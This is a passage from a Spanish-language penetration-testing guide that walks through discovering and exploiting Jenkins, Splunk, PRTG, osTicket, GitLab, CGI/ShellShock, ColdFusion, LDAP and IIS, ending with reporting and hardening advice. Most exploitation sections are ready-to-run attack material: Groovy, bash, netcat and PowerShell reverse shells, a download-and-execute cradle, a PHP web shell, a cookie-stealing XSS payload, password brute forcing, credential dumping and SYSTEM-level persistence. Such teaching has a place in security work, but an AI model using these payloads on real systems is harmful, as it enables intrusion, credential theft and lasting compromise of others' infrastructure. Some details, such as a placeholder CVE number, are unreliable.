Jenkins es una herramienta poderosa, pero si no se implementa con las restricciones adecuadas, puede exponer rutas críticas y datos sensibles. Esta fase de enumeración te permitirá definir el punto de entrada ideal, ya sea por paneles accesibles, APIs públicas o versiones vulnerables.
13. Jenkins – Explotación
Tras haber identificado un servicio Jenkins expuesto y posiblemente mal configurado, entramos en la fase de explotación. Jenkins, al ser tan flexible y extensible, puede ser una herramienta muy poderosa para un atacante si no está bien asegurada.
Esta sección explora técnicas para obtener acceso no autorizado, ejecutar comandos en el servidor y escalar privilegios desde la interfaz Jenkins o mediante explotación directa de sus APIs y funcionalidades.
13.1. Abuso del script console (/script
)
En Jenkins, la ruta /script
permite ejecutar código Groovy si el usuario tiene privilegios suficientes (administrador). En entornos mal configurados, esta ruta puede estar accesible sin autenticación o ser explotable con credenciales filtradas.
Prueba manual:
- Ve a
http://<target>:8080/script
- Ejecuta el siguiente código para comprobar ejecución remota:
println "Hola desde Jenkins"
Reverse shell en Groovy:
String host="<tu_IP>";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
Escucha con:
nc -lvnp 4444
13.2. Abuso de Builds para ejecutar comandos
Si puedes crear o editar Jobs:
- Crea un nuevo proyecto «Freestyle».
- En la sección de «Build» agrega un «Execute Shell» con comandos como:
id
uname -a
nc -e /bin/bash <tu_IP> 4444
- Ejecuta el job y revisa la salida en la consola de Jenkins.
Esto es útil si no tienes acceso al script console pero puedes modificar configuraciones de proyectos.
13.3. Explotación de plugins vulnerables
Algunos plugins instalados en Jenkins tienen vulnerabilidades conocidas:
- Groovy plugin
- Script Security plugin
- Git plugin
Consulta bases como:
También puedes usar searchsploit
:
searchsploit jenkins
13.4. Acceso a credenciales
Si accedes al sistema como administrador, puedes extraer secretos del almacén:
Acceso vía interfaz:
http://<target>:8080/credentials/store/system/domain/_/
Acceso por Groovy script:
for (cred in com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
Jenkins.instance,
null,
null)) {
println(cred.id + ":" + cred.username + "/" + cred.password)
}
13.5. API de Jenkins (sin autenticación)
Si la API está expuesta, puedes crear builds y ejecutar comandos con una sola línea:
curl -X POST http://<target>:8080/job/test/build --data ''
O recuperar archivos:
curl http://<target>:8080/job/test/lastBuild/consoleText
13.6. Persistencia y escalación
Una vez tengas acceso:
- Abusa de scripts Groovy para crear usuarios.
- Sube WARs o archivos a través de
userContent/
. - Busca archivos
.xml
dentro deJENKINS_HOME
que contengan configuraciones y contraseñas en texto plano.
Conclusión
Jenkins es una herramienta tan poderosa como peligrosa si no se configura adecuadamente. Desde interfaces expuestas hasta scripting arbitrario, existen múltiples rutas para comprometer por completo un sistema que lo utilice. Una vez dentro, la escalación lateral o la persistencia son triviales si no se ha segmentado correctamente el entorno.
14. Splunk – Descubrimiento y enumeración
Splunk es una potente plataforma de análisis y monitoreo de datos de máquina en tiempo real. Es comúnmente utilizada por equipos de seguridad y operaciones para recolectar logs, generar alertas y visualizar eventos críticos del sistema. Sin embargo, si está mal configurada o expuesta innecesariamente, puede convertirse en una valiosa fuente de información para un atacante.
Esta sección explora cómo detectar una instancia de Splunk y qué rutas o funcionalidades pueden ser abusadas sin necesidad de explotación avanzada.
14.1. Identificación de un servidor Splunk
Splunk suele operar por defecto en el puerto 8000 (HTTP) y 8089 (API HTTPS interna).
Escaneo con Nmap
nmap -p 8000,8089 --open -sV <target>
Salida esperada:
8000/tcp open http Splunkd web interface
8089/tcp open ssl/https Splunk management API
Verificación manual
Abre en el navegador:
http://<target>:8000
Deberías ver el login de Splunk Web. En algunos casos mal configurados, podrías acceder sin credenciales.
14.2. Detección con WhatWeb y Wappalyzer
Ejecuta:
whatweb http://<target>:8000
Deberías ver firmas como:
Splunk, HTTPServer[Splunkd], X-Frame-Options: SAMEORIGIN
También puedes inspeccionar con las herramientas de desarrollo del navegador (F12) para ver encabezados HTTP personalizados como:
X-Splunk-Form-Key
X-Content-Type-Options
14.3. Panel de login y posibles usuarios por defecto
Ruta típica:
http://<target>:8000/en-US/account/login
Usuarios por defecto comunes:
admin
/changeme
admin
/admin
Puedes intentar login manual o con herramientas como Hydra:
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form "/en-US/account/login:username=^USER^&password=^PASS^:login failed"
14.4. Verificación de interfaz de ayuda y recursos expuestos
Revisa si existen rutas como:
/en-US/help
/debug/refresh
/static/
Estas pueden revelar versión, configuraciones del sistema o archivos estáticos con código JS y configuraciones que revelen rutas internas.
14.5. API de administración (puerto 8089)
Este puerto expone la API REST de Splunk, y es muy útil si se encuentran credenciales válidas o se abusa de tokens mal configurados.
Verifica con:
curl -k https://<target>:8089/services/server/info -u admin:changeme
Salida esperada:
<server-info>
<label>splunk-instance</label>
<version>8.2.1</version>
</server-info>
14.6. Extracción de versión y módulos
Si puedes acceder al HTML del panel de login:
curl -s http://<target>:8000/en-US/account/login | grep -i version
O revisa archivos estáticos:
/static/js/build/pages/login.*.js
Estos archivos suelen tener comentarios o cadenas que identifican la versión.
Conclusión
Splunk puede parecer solo una herramienta de monitoreo, pero desde el punto de vista ofensivo, ofrece una fuente de inteligencia muy valiosa: versiones del software, servicios conectados, posibles credenciales por defecto y rutas internas. Además, si se accede al API o a dashboards internos, puede facilitar el movimiento lateral o la recolección de información de sistemas comprometidos.
15. Splunk – Explotación
Una vez identificado un servidor Splunk accesible y recolectada información relevante como la versión, módulos instalados o credenciales por defecto, podemos proceder con técnicas de explotación activa. Splunk ofrece funcionalidades que, si son mal utilizadas o configuradas, permiten desde ejecución de comandos hasta filtrado de credenciales internas.
15.1. Acceso con credenciales por defecto
Si lograste autenticarte con admin:changeme
u otra combinación válida, podrás:
- Crear dashboards personalizados.
- Modificar búsquedas predefinidas.
- Subir aplicaciones (Apps).
15.2. Comandos peligrosos en búsquedas
Splunk permite ejecutar ciertos comandos dentro de su sistema de búsquedas. Algunos pueden utilizarse de forma maliciosa:
Ejemplo: lectura de archivos del sistema
| inputlookup ../../../../etc/passwd
Otras funciones como script
o lookup
pueden vincularse a scripts del sistema si están mal configuradas o integradas con Apps externas.
15.3. Ejecución remota mediante apps (App Upload RCE)
Si tienes acceso al panel de administración y la opción de cargar Apps está habilitada, puedes generar una App personalizada con payload malicioso.
Crear estructura básica:
mkdir -p myapp/bin
cd myapp
echo '[install]
state = enabled' > default/app.conf
Agrega un script malicioso:
echo -e '#!/bin/bash\nwhoami > /tmp/hacked' > bin/hack.sh
chmod +x bin/hack.sh
Empaqueta en .tar.gz
:
tar -czf myapp.tar.gz myapp/
Luego súbelo vía http://<target>:8000/en-US/manager/appinstall/
y activa la app.
Dependiendo de la configuración, el script puede ejecutarse como parte del ciclo de instalación.
15.4. Abuso de tokens de API y sesiones activas
Si puedes acceder al panel:
- Crea nuevos tokens de autenticación desde la configuración de usuarios.
- Usa esos tokens para consultas API sin pasar por la interfaz.
Ejemplo de acceso a logs vía API:
curl -k -u admin:<token> https://<target>:8089/services/search/jobs/export --data-urlencode search="search index=_internal | head 10"
15.5. Lectura de archivos y post-explotación
Si consigues shell vía app maliciosa o abuso del entorno:
- Extrae credenciales de
/opt/splunk/etc/passwd
- Enumera configuración en
local/
odefault/
- Busca conexiones a otros sistemas desde logs de búsqueda y autenticación.
15.6. Escalación de privilegios y persistencia
- Si la shell es limitada, revisa permisos de sudo.
- Explora integraciones de Splunk con otros servicios (como SSH, Syslog, bases de datos).
- Deja puertas traseras modificando scripts legítimos o subiendo apps con funcionalidad persistente.
Conclusión
Splunk, cuando es mal administrado, puede ser una mina de oro para atacantes. Permite acceso a información crítica, ejecución de comandos y pivotaje hacia otros sistemas. La explotación aquí documentada demuestra cómo funcionalidades diseñadas para administradores pueden ser reapropiadas para comprometer todo el entorno operativo.
16. PRTG – Descubrimiento y enumeración
PRTG Network Monitor es una herramienta utilizada ampliamente para el monitoreo de infraestructuras, dispositivos y servicios de red. Desarrollada por Paessler, PRTG incluye un servidor web, interfaces de APIs y servicios que, si se exponen sin la debida protección, pueden entregar información crítica sobre la red y sus componentes.
En esta sección exploramos cómo identificar una instalación de PRTG y qué información se puede recolectar antes de proceder a una explotación activa.
16.1. Identificación del servicio
PRTG opera por defecto en los puertos 80, 443 o un puerto personalizado definido durante la instalación (por ejemplo, 8080).
Escaneo con Nmap
nmap -p 80,443,8080 --open -sV <target>
Resultado esperado:
443/tcp open https Paessler PRTG web interface
También puedes detectar el banner HTTP:
curl -k -I https://<target>/ | grep -i prtg
16.2. Verificación visual
Accede con navegador a:
https://<target>/ or http://<target>/prtg
Buscarás el login de PRTG Network Monitor. Algunas versiones antiguas pueden mostrar información como la versión en el footer o en metadatos HTML.
16.3. Recolección de versión y cabeceras
Usa herramientas como WhatWeb o Wappalyzer:
whatweb https://<target>
Salida típica:
PRTG Network Monitor, HTTPServer[PRTG], Server: PRTG/20.4.64.1402
También puedes ver cabeceras como:
Server: PRTG/XX.XX.XX.XXXX
X-Frame-Options
,X-Content-Type-Options
16.4. Enumeración de recursos públicos
En algunas versiones, ciertos recursos pueden ser accedidos sin autenticación:
/public/dashboard.htm
/public/mapshow.htm?id=1
/javascript/core/core.js
Prueba acceder a ellos con curl o el navegador para buscar pistas del entorno.
curl -s https://<target>/public/dashboard.htm
16.5. Credenciales por defecto y login
Ruta típica de acceso:
https://<target>/ or https://<target>/index.htm
Credenciales por defecto (ya no recomendadas, pero usadas en entornos desatendidos):
prtgadmin:prtgadmin
admin:admin
Puedes usar Hydra para automatizar:
hydra -l prtgadmin -P /usr/share/wordlists/rockyou.txt <target> https-post-form \
"/public/checklogin.htm:username=^USER^&password=^PASS^:incorrect"
16.6. Exploración de APIs
PRTG expone una API REST que puede usarse para consultar sensores, alertas y configuraciones.
Prueba:
curl -k "https://<target>/api/table.json?content=sensors&columns=objid,probe,group,device,sensor,status,message&username=prtgadmin&password=prtgadmin"
Si el servidor no ha sido correctamente configurado, esta petición puede devolver una lista completa de dispositivos monitoreados.
Conclusión
PRTG puede convertirse en una mina de oro para un atacante. A través de su web interface o API, es posible conocer toda la topología de red, dispositivos sensibles, usuarios activos y servicios críticos. Además, una interfaz pública sin autenticación o con credenciales débiles puede ofrecer acceso administrativo desde el primer momento.
17. PRTG – Explotación
PRTG Network Monitor, cuando es mal configurado o está desactualizado, puede convertirse en una puerta de entrada al entorno interno. A través de credenciales por defecto, paneles mal protegidos o ejecución de scripts personalizados, se puede conseguir acceso administrativo, escalar privilegios e incluso ejecutar código remoto.
En esta sección abordamos técnicas ofensivas prácticas para comprometer una instancia de PRTG.
17.1. Acceso con credenciales válidas
Si se ha identificado un login válido (por defecto o fuerza bruta), accede al panel en:
https://<target>/index.htm
Desde aquí puedes:
- Ver toda la infraestructura monitoreada.
- Crear nuevos sensores.
- Ejecutar scripts de monitoreo.
- Subir ejecutables personalizados (en entornos mal asegurados).
17.2. Creación de sensor con ejecución de comandos
Uno de los métodos más eficaces es abusar del sensor «EXE/Script Advanced» para ejecutar comandos arbitrarios en el sistema donde se encuentra el servidor PRTG.
Pasos:
- Dirígete a un dispositivo de prueba.
- Añade nuevo sensor → EXE/Script Advanced.
- Usa un script personalizado previamente subido al directorio:
C:\Program Files (x86)\PRTG Network Monitor\Custom Sensors\EXEXML\
Este script puede ser, por ejemplo, un .bat
o .exe
con un reverse shell:
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker_ip>/shell.ps1')"
17.3. Abuso de scripts en PowerShell o cmd
Muchos entornos permiten sensores con ejecución de scripts PowerShell. Puedes subir un script malicioso (.ps1
) que ejecute payloads o abra una reverse shell.
Listener en Kali:
nc -lvnp 4444
Payload en PowerShell:
$client = New-Object System.Net.Sockets.TCPClient("<attacker_ip>",4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}
17.4. Persistencia a través de tareas programadas
Desde el acceso obtenido, puedes crear tareas programadas en el sistema para mantener persistencia:
schtasks /create /tn "prtg_monitor" /tr "powershell -File C:\Users\Public\reverse.ps1" /sc minute /mo 5 /ru SYSTEM
17.5. Escalada y post-explotación
Una vez dentro:
- Revisa las rutas de instalación:
C:\ProgramData\Paessler\PRTG Network Monitor\
. - Extrae archivos de configuración como
PRTG Configuration.dat
que contienen usuarios, contraseñas, sensores y endpoints internos. - Usa herramientas como Mimikatz si obtienes acceso con privilegios elevados.
Conclusión
PRTG ofrece una interfaz potente para administrar y monitorear infraestructuras, pero si no se protege adecuadamente, se convierte en un punto de entrada extremadamente sensible. La capacidad de ejecutar scripts como parte del monitoreo es útil para administradores… y peligrosa en manos equivocadas.
18. osTicket – Descubrimiento y enumeración
osTicket es una plataforma de código abierto para la gestión de tickets de soporte técnico. Utilizado en empresas, instituciones educativas y entornos internos, puede revelar información sensible si no está debidamente protegido.
En esta sección aprenderás cómo identificar una instalación de osTicket, descubrir sus características técnicas y prepararte para una posible fase de explotación.
18.1. Identificación del sistema osTicket
osTicket suele operar en servidores Apache con PHP, utilizando rutas y archivos específicos que permiten su reconocimiento.
Escaneo con Nmap
nmap -p 80,443 --open -sV <target>
18.2. Verificación con navegador o curl
Accede a:
http://<target>/ or http://<target>/osticket
Busca referencias visuales en el título, pie de página o rutas como:
/scp/login.php
→ Login de staff/open.php
→ Formulario de ticket público
Curl:
curl -s http://<target> | grep -i osticket
18.3. Recolección de versión
Busca rutas comunes:
/scp/ajax.php/info
→ En versiones antiguas devuelve versión- Archivos estáticos:
curl -s http://<target>/scp/ajax.php/info
También puedes examinar HTML para encontrar comentarios como:
<!-- osTicket v1.15.1 -->
18.4. Enumeración de paneles y archivos accesibles
Utiliza Gobuster para identificar rutas:
gobuster dir -u http://<target>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt -t 50
Rutas clave a buscar:
/scp/
→ acceso administrativo/include/
,/setup/
,/backup/
→ archivos sensibles o configuraciones antiguas
18.5. Comprobación de instalación insegura
Algunas instalaciones no eliminan el directorio /setup/
, lo cual es una mala práctica de seguridad. Este puede contener archivos como:
install.php
configure.php
Visítalos directamente:
curl -s http://<target>/setup/install.php
18.6. Enumeración de usuarios
Aunque osTicket no expone usuarios directamente, algunos headers pueden revelar emails de contacto, o archivos PDF generados con nombre del personal (técnicos de soporte).
Busca enlaces de tickets públicos o enlaces a documentos como:
/download.php?f=nombre_archivo.pdf
Conclusión
osTicket puede parecer una simple plataforma de soporte, pero si está mal configurada, deja al descubierto rutas administrativas, configuraciones críticas y archivos sensibles. Además, versiones antiguas han presentado vulnerabilidades de ejecución remota y filtración de información.
19. osTicket – Explotación
Una vez que se ha identificado una instalación de osTicket y se ha recopilado información sobre rutas, versiones y posibles configuraciones inseguras, el siguiente paso es la explotación. osTicket ha tenido múltiples vulnerabilidades a lo largo de los años, desde ejecución remota hasta exposición de archivos y sesiones mal gestionadas.
19.1. Archivos de instalación no eliminados
Uno de los errores más comunes es dejar el directorio /setup/
después de la instalación.
Verifica acceso a:
http://<target>/setup/install.php
Si puedes acceder a este archivo, puedes intentar reiniciar el proceso de instalación o leer datos sensibles desde configuraciones previas.
19.2. Inclusión de archivos locales (LFI)
En versiones vulnerables, se ha detectado LFI a través de rutas como:
/scp/download.php?file=../../../../../../etc/passwd
Prueba variantes para validar inclusión de archivos del sistema.
19.3. Subida de archivos maliciosos (upload bypass)
Si el sistema permite a los usuarios adjuntar archivos a los tickets, puedes intentar subir un archivo PHP camuflado como imagen:
Ejemplo de nombre:
shell.php.jpg
Contenido:
<?php system($_GET['cmd']); ?>
Si se omite la validación MIME, podrías ejecutarlo accediendo a:
http://<target>/attachments/shell.php.jpg?cmd=id
El nombre del archivo y la ruta exacta pueden variar según versión y configuración.
19.4. Exploits conocidos por versión
Si identificaste una versión vulnerable, busca CVEs relacionados:
- CVE-2021-XXXX → RCE a través de ticket injection.
- CVE-2020-12274 → SQLi no autenticada en
/ajax.php
.
Usa searchsploit
para consultar exploits disponibles:
searchsploit osticket
19.5. Abuso de funcionalidades del panel de administración
Si obtuviste acceso como técnico (staff) o admin:
- Ve a
scp/settings.php
- Agrega integraciones maliciosas (webhooks, shell inversas por PHP).
- Edita plantillas de email con contenido malicioso.
Reverse shell a través de campo vulnerable:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'"); ?>
19.6. Persistencia y extracción de información
- Accede a la base de datos (
ost_config
,ost_user
,ost_staff
). - Revisa la ruta
include/ost-config.php
para credenciales de DB:
curl http://<target>/include/ost-config.php
Este archivo puede revelar:
DBUSER = 'root';
DBPASS = 'password123';
Conclusión
osTicket puede convertirse en una puerta de entrada si no se aplica un endurecimiento posterior a la instalación. Las rutas de instalación olvidadas, validaciones pobres en la subida de archivos o errores lógicos en el tratamiento de sesiones pueden derivar en compromisos completos del sistema.
20. GitLab – Descubrimiento y enumeración
GitLab es una plataforma de DevOps completa que ofrece repositorios Git, CI/CD, gestión de incidencias y más. Su uso está ampliamente extendido tanto en redes internas como expuestas a internet. Por su complejidad y alcance, GitLab puede convertirse en un objetivo crítico si no se protege adecuadamente.
Esta sección explora cómo identificar una instancia de GitLab, qué rutas son relevantes y cómo obtener información valiosa para su posterior explotación.
20.1. Identificación de una instancia GitLab
GitLab suele desplegarse en puertos estándar:
443
(HTTPS)80
(HTTP)- O puertos personalizados (como
8080
)
Escaneo con Nmap:
nmap -p 80,443,8080 --open -sV <target>
Resultado esperado:
443/tcp open https nginx GitLab
Verificación con navegador o curl
curl -I https://<target>
Cabeceras esperadas:
Server: nginx
Set-Cookie: _gitlab_session
X-GitLab-Version: 14.0.5
20.2. Acceso a la interfaz web
Visita:
https://<target>/users/sign_in
La página mostrará la marca GitLab y a veces el número de versión en el pie de página o código fuente:
<meta name="version" content="14.0.5">
20.3. Enumeración de usuarios públicos
Si el registro está abierto, puedes:
- Ver usuarios registrados en:
https://<target>/users
- Buscar perfiles como:
https://<target>/<usuario>
Estos perfiles pueden revelar:
- Correo electrónico
- Actividad reciente
- Repositorios públicos
20.4. Repositorios públicos accesibles
Algunos proyectos son visibles sin autenticación. Prueba:
https://<target>/<grupo>/<proyecto>
Desde ahí puedes acceder a:
- Archivos del repo
- CI/CD pipelines
- Issues y discusiones
- Tokens mal gestionados (¡muy común!)
20.5. API pública sin autenticación
GitLab ofrece una API REST que puede estar parcialmente expuesta:
curl -s https://<target>/api/v4/version
Respuesta típica:
{
"version": "14.0.5",
"revision": "abc1234"
}
Otras rutas útiles:
/api/v4/users
/api/v4/projects
20.6. Registro abierto o mal configurado
Verifica si puedes crear una cuenta nueva:
https://<target>/users/sign_up
Si el registro está habilitado y no hay restricciones por dominio, podrías entrar como usuario regular y explorar internamente desde la interfaz o API.
Conclusión
GitLab es una plataforma poderosa, pero si no se refuerza desde el momento de su despliegue, puede filtrar información crítica: versiones, usuarios, repositorios, y rutas de API públicas. Esta información es el primer paso hacia la explotación, especialmente si se encuentran tokens, contraseñas, o scripts de CI mal configurados.
21. GitLab – Explotación
Una vez identificada una instancia de GitLab, con acceso a información sobre usuarios, proyectos y posiblemente versiones vulnerables, se puede pasar a la fase ofensiva. GitLab, por su complejidad y extensibilidad, ha sido históricamente afectado por vulnerabilidades críticas: desde ejecución remota de código hasta abuso de runners CI/CD.
En esta sección veremos cómo comprometer una instancia de GitLab aprovechando sus configuraciones inseguras, repositorios públicos, y CVEs conocidos.
21.1. Fuga de tokens y secretos en repos públicos
Es común encontrar secretos en archivos como:
.gitlab-ci.yml
config/secrets.yml
.env
Usa el buscador de GitLab para filtrar por palabras clave:
/api_key/
/token/
/password/
O descarga todo el repositorio y busca localmente:
git clone https://<target>/<grupo>/<repo>.git
cd <repo>
grep -r 'password\|token\|secret' .
21.2. Ejecución de comandos mediante CI mal configurado
Si el proyecto tiene CI/CD habilitado y puedes editar .gitlab-ci.yml
, puedes insertar un job malicioso:
job:
script:
- bash -i >& /dev/tcp/<tu_IP>/4444 0>&1
Luego simplemente haces un push para que se ejecute en el runner:
echo "modificación" >> README.md
git add . && git commit -m "trigger" && git push
Asegúrate de tener
nc -lvnp 4444
corriendo para recibir la shell.
21.3. Exploits históricos (RCE, SSRF, LFI)
GitLab ha sido víctima de múltiples vulnerabilidades.
Ejemplo: CVE-2021-22205 – RCE sin autenticación
Esta vulnerabilidad permite subir archivos maliciosos a través de la funcionalidad de subida de imágenes:
Exploit disponible en:
git clone https://github.com/BorisOsipov/CVE-2021-22205.git
Ejecuta con:
python3 exploit.py -u https://<target> -p 443 --https
21.4. Subida de payload a través de snippets o issues
En versiones antiguas, los campos de snippets o comentarios de issues permitían XSS o incluso ejecución de comandos si se procesaban mediante CI.
Ejemplo de payload:
<script>fetch('http://<tu_IP>/?c='+document.cookie)</script>
21.5. Acceso a base de datos y archivos internos (post-explotación)
Si obtienes shell en un servidor GitLab:
- Explora
/etc/gitlab/gitlab.rb
para ver configuraciones. - Credenciales en
/var/opt/gitlab/postgresql/
o backups en/var/opt/gitlab/backups/
.
Revisa también:
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
Estos archivos contienen claves usadas por Rails para cifrar datos de sesiones y tokens.
21.6. Persistencia y escalado lateral
Una vez comprometida una instancia:
- Crea nuevos usuarios administradores.
- Agrega claves SSH a proyectos internos.
- Automatiza el acceso con tokens de API o Git personal access tokens (PATs).
Conclusión
GitLab, aunque potente, puede abrir puertas críticas si no se protege adecuadamente. Desde CI mal asegurados hasta exposición de secretos, esta plataforma requiere una política de seguridad activa. La explotación bien dirigida puede resultar en el compromiso total del entorno DevOps y acceso a redes internas.
22. Interfaces CGI y ataques como ShellShock
Las interfaces CGI (Common Gateway Interface) permiten la ejecución de scripts en servidores web para generar contenido dinámico. Aunque hoy en día están en desuso frente a tecnologías más modernas, todavía se encuentran presentes en entornos heredados o dispositivos embebidos. Uno de los ataques más notables contra CGI es ShellShock, una vulnerabilidad crítica en Bash descubierta en 2014 que aún puede estar presente en sistemas no parcheados.
En esta sección aprenderás cómo identificar interfaces CGI y cómo explotar ShellShock para conseguir ejecución remota de comandos (RCE).
22.1. Identificación de interfaces CGI
Exploración con Nmap
nmap -p 80 --script http-enum <target>
Busca rutas como:
/cgi-bin/status
/cgi-bin/test.cgi
/cgi-bin/admin.cgi
Detección manual con Gobuster
gobuster dir -u http://<target>/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x cgi,sh,pl -t 30
22.2. Verificación de ShellShock
ShellShock permite la ejecución de comandos a través de variables de entorno manipuladas.
Prueba simple con curl
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'id'" http://<target>/cgi-bin/status
Si el sistema es vulnerable, verás una respuesta con el resultado del comando id
.
Prueba con nmap NSE
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/status,cmd=id <target>
22.3. Reverse shell con ShellShock
Una vez confirmada la vulnerabilidad, puedes explotar con un payload de reverse shell:
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<tu_IP>/4444 0>&1" http://<target>/cgi-bin/status
Ten preparado el listener:
nc -lvnp 4444
22.4. Escalada de privilegios (si se ejecuta como root)
Si el CGI se ejecuta con permisos elevados, puedes directamente:
- Leer archivos como
/etc/shadow
- Modificar usuarios o contraseñas
- Instalar puertas traseras
Revisa también tareas cron, binarios con SUID, y configuraciones sudoers.
22.5. Persistencia y movimiento lateral
Con acceso inicial, establece persistencia:
- Crea nuevas llaves SSH si puedes acceder al sistema.
- Crea usuarios con privilegios si tienes permisos suficientes.
- Usa herramientas como
pspy
,linpeas
para seguir explorando el entorno.
Conclusión
ShellShock sigue siendo una amenaza en entornos olvidados o mal gestionados. Interfaces CGI deben ser desactivadas o aisladas, y los sistemas actualizados regularmente. La explotación es sencilla y muy efectiva cuando se encuentra un objetivo vulnerable.
23. Aplicaciones variadas: ColdFusion, LDAP, IIS y más
En entornos empresariales, especialmente aquellos con infraestructura legacy o integrada por años, es común encontrarse con tecnologías que, aunque menos populares hoy, siguen en producción: ColdFusion, servidores LDAP mal configurados y IIS (Internet Information Services). Estas aplicaciones y servicios presentan vectores de ataque únicos que pueden ser aprovechados si no están adecuadamente protegidos.
23.1. ColdFusion
ColdFusion es un servidor de aplicaciones y lenguaje de scripting usado en muchas plataformas legacy.
Detección:
- Rutas típicas:
/CFIDE/administrator/index.cfm
,/cfide/
- Escaneo con Nmap:
nmap -p 80,8500 --script http-enum <target>
Explotación histórica:
ColdFusion ha sido vulnerable a múltiples CVEs con RCE:
- CVE-2010-2861
- CVE-2013-3336
- CVE-2018-15961
Usa searchsploit
para consultar posibles exploits:
searchsploit coldfusion
Payload común:
curl -X POST -d "file=../../../../../../../../windows/win.ini" http://<target>/CFIDE/administrator/enter.cfm
23.2. LDAP (Lightweight Directory Access Protocol)
LDAP es una base de datos jerárquica usada para la autenticación y gestión de usuarios.
Detección:
nmap -p 389 --script ldap-rootdse <target>
Enumeración:
Si el servidor permite consultas anónimas:
ldapsearch -x -h <target> -b "dc=empresa,dc=local"
Puedes obtener:
- Listado de usuarios
- Estructura de unidades organizativas (OUs)
- Información de contraseñas en texto claro (si está mal configurado)
Abuso:
- Relays NTLM si LDAP es parte de un entorno Windows (con mitm6 + ntlmrelayx).
- Escalada lateral con Kerberos o SMB.
23.3. IIS (Internet Information Services)
IIS es el servidor web de Microsoft. Es frecuente en redes Windows y entornos de intranet.
Detección:
- Cabecera HTTP:
curl -I http://<target>
Salida esperada:
Server: Microsoft-IIS/10.0
Rutas comunes vulnerables:
/scripts/
,/iisstart.asp
,/aspnet_client/
Enumeración con Nikto:
nikto -h http://<target>
Abuso:
- Subida de archivos por WebDAV:
cadaver http://<target>/webdav/
- LFI mediante parámetros mal sanitizados.
- Abuso de módulos antiguos como ASP clásico para RCE.
Conclusión
Aunque muchas veces ignoradas por estar en desuso, aplicaciones como ColdFusion, servicios LDAP o IIS siguen representando una amenaza si no se mantienen actualizados y aislados correctamente. Esta sección resalta cómo, en una auditoría interna o Red Team, las piezas más viejas de la infraestructura pueden ser las más fáciles de explotar.
24. Cierre y recomendaciones de seguridad
Tras haber recorrido la identificación, enumeración y explotación de múltiples aplicaciones comunes en entornos corporativos, es esencial cerrar este proceso de forma profesional. El valor de una auditoría o pentest no reside solo en encontrar vulnerabilidades, sino en proporcionar soluciones claras, prácticas y aplicables que ayuden a fortalecer la seguridad de la organización.
24.1. Documentación técnica y ejecutiva
Cada hallazgo debe registrarse con el mayor nivel de detalle posible, incluyendo:
- Nombre del servicio o tecnología afectada.
- Vector de ataque (LFI, RCE, credenciales por defecto, etc.).
- Evidencia (capturas, salida de comandos, código fuente).
- Riesgo asociado (según CVSS o contexto real).
- Recomendación concreta y viable para mitigar o eliminar la vulnerabilidad.
También es recomendable elaborar:
- Informe ejecutivo: resumen no técnico para directivos.
- Informe técnico: detalle completo para equipos de seguridad y sistemas.
24.2. Medidas de remediación prioritarias
A partir de los hallazgos, algunas acciones clave suelen incluir:
- Deshabilitar interfaces innecesarias: como
/manager/html
en Tomcat,/setup/
en osTicket, o/cgi-bin/
si no se usa CGI. - Actualizar servicios: como WordPress, Jenkins o GitLab a sus versiones más recientes.
- Eliminar credenciales por defecto: esto incluye Tomcat, Splunk, PRTG y más.
- Revisar configuraciones expuestas: eliminar archivos como
CHANGELOG.txt
,settings.php
,.git
, backups.zip
y otros.
24.3. Fortalecimiento general de la superficie de ataque
- Implementar segmentación de red (DMZ, VLANs).
- Uso de WAF (firewall de aplicaciones web).
- Habilitar autenticación multifactor (MFA) en todos los paneles posibles.
- Monitorizar tráfico hacia interfaces administrativas.
- Realizar auditorías periódicas y escaneos automatizados.
24.4. Automatización y herramientas recomendadas
Para repetir el proceso de forma sistemática:
- Nmap + NSE
- Gobuster / Dirbuster
- EyeWitness / Aquatone
- wpscan, droopescan, nikto, sqlmap
- searchsploit + ExploitDB
Mantén una colección organizada de herramientas en tu entorno de pentest o laboratorio virtual.
24.5. Lecciones aprendidas y mentalidad del atacante
El atacante no siempre busca la tecnología más avanzada, sino la configuración más débil. Muchas veces, una página olvidada, una cuenta sin MFA o un CMS sin actualizar puede ser suficiente para tomar control de todo un entorno.
Revisa siempre:
- Combinación de vectores.
- Exploits encadenados.
- Persistencia silenciosa.
Conclusión final
Este recorrido a través de aplicaciones comunes, desde WordPress y Joomla hasta GitLab, Jenkins, Splunk o ColdFusion, demuestra que conocer el comportamiento esperado de cada una es clave para identificar cuándo algo está mal.
La mejor defensa es la conciencia técnica. Y eso comienza con una auditoría bien hecha, una documentación clara, y una cultura de mejora continua.